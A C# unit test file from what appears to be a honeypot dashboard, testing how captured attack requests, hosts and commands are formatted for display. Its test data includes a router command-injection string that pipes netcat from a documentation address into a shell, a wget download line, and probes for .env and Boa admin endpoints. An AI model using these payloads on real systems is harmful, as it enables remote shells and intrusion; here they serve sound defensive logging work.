Full-width detail area with the explanation first, clearly named facts for commands and collapsed technical details; the list hides the requested host. Changelog prepared for 0.11.1. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
36 lines
1.6 KiB
C#
36 lines
1.6 KiB
C#
using Flypaper.Web.Components.Shared;
|
|
using Shouldly;
|
|
|
|
namespace Flypaper.Tests.Web;
|
|
|
|
public sealed class FormattingTests
|
|
{
|
|
[Theory]
|
|
[InlineData("GET /boaform/admin/formLogin", "GET (ohne Host)/boaform/admin/formLogin")]
|
|
[InlineData("GET _/boaform/admin/formLogin", "GET (ohne Host)/boaform/admin/formLogin")]
|
|
[InlineData("GET _", "GET (ohne Host)")]
|
|
[InlineData("GET example.com/.env", "GET example.com/.env")]
|
|
[InlineData("GET _example.com/.env", "GET _example.com/.env")]
|
|
[InlineData(null, null)]
|
|
public void Shows_missing_host_explicitly(string? target, string? expected) =>
|
|
Formatting.Target(target).ShouldBe(expected);
|
|
|
|
[Theory]
|
|
[InlineData("POST 192.0.2.1/boaform/admin/formSysCmd", "POST /boaform/admin/formSysCmd")]
|
|
[InlineData("GET example.com:8080/?a=/b", "GET /?a=/b")]
|
|
[InlineData("GET /x", "GET /x")]
|
|
public void Shows_the_request_path_without_the_host(string target, string expected) =>
|
|
Formatting.RequestPath(target).ShouldBe(expected);
|
|
|
|
[Theory]
|
|
[InlineData("192.0.2.7:4545", "192.0.2.7, Port 4545")]
|
|
[InlineData("bad.example", "bad.example")]
|
|
public void Names_the_port_of_a_server(string server, string expected) => Formatting.Server(server).ShouldBe(expected);
|
|
|
|
[Theory]
|
|
[InlineData("sysCmd=nc 192.0.2.7 4545|sh", "sysCmd", "nc 192.0.2.7 4545|sh")]
|
|
[InlineData("wget http://192.0.2.9/a?x=1", null, "wget http://192.0.2.9/a?x=1")]
|
|
public void Splits_the_form_field_from_the_command(string command, string? field, string text) =>
|
|
Formatting.CommandParts(command).ShouldBe((field, text));
|
|
}
|